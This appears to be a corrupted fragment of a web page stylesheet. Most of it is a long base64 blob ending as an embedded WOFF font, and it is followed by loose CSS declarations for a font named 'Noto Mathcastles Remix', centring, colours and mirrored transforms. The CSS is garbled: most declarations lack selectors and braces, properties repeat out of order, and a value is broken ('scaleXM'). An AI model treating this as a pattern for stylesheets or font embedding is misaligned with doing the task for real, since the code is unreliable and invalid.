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) format('woff');
  font-weight: normal;
  font-style: normal;
    text-align: center;
    overflow: hidden;
    background: #eaeaea;
    align-items: center;
    justify-content: center;
  body.mobile #text-video {
    font-family: 'Noto Mathcastles Remix', monospace;
    pointer-events: none;
    justify-content: center;
    align-items: center;
    transform: scaleX(-1);
    -webkit-transform: scaleXM
    background: #00EAD3;
    font-size: 16px;
    justify-content: center;
    transform: scaleX(-1);
    -webkit-transform: scaleX(-1);
    cursor: pointer;
    justify-content: center;
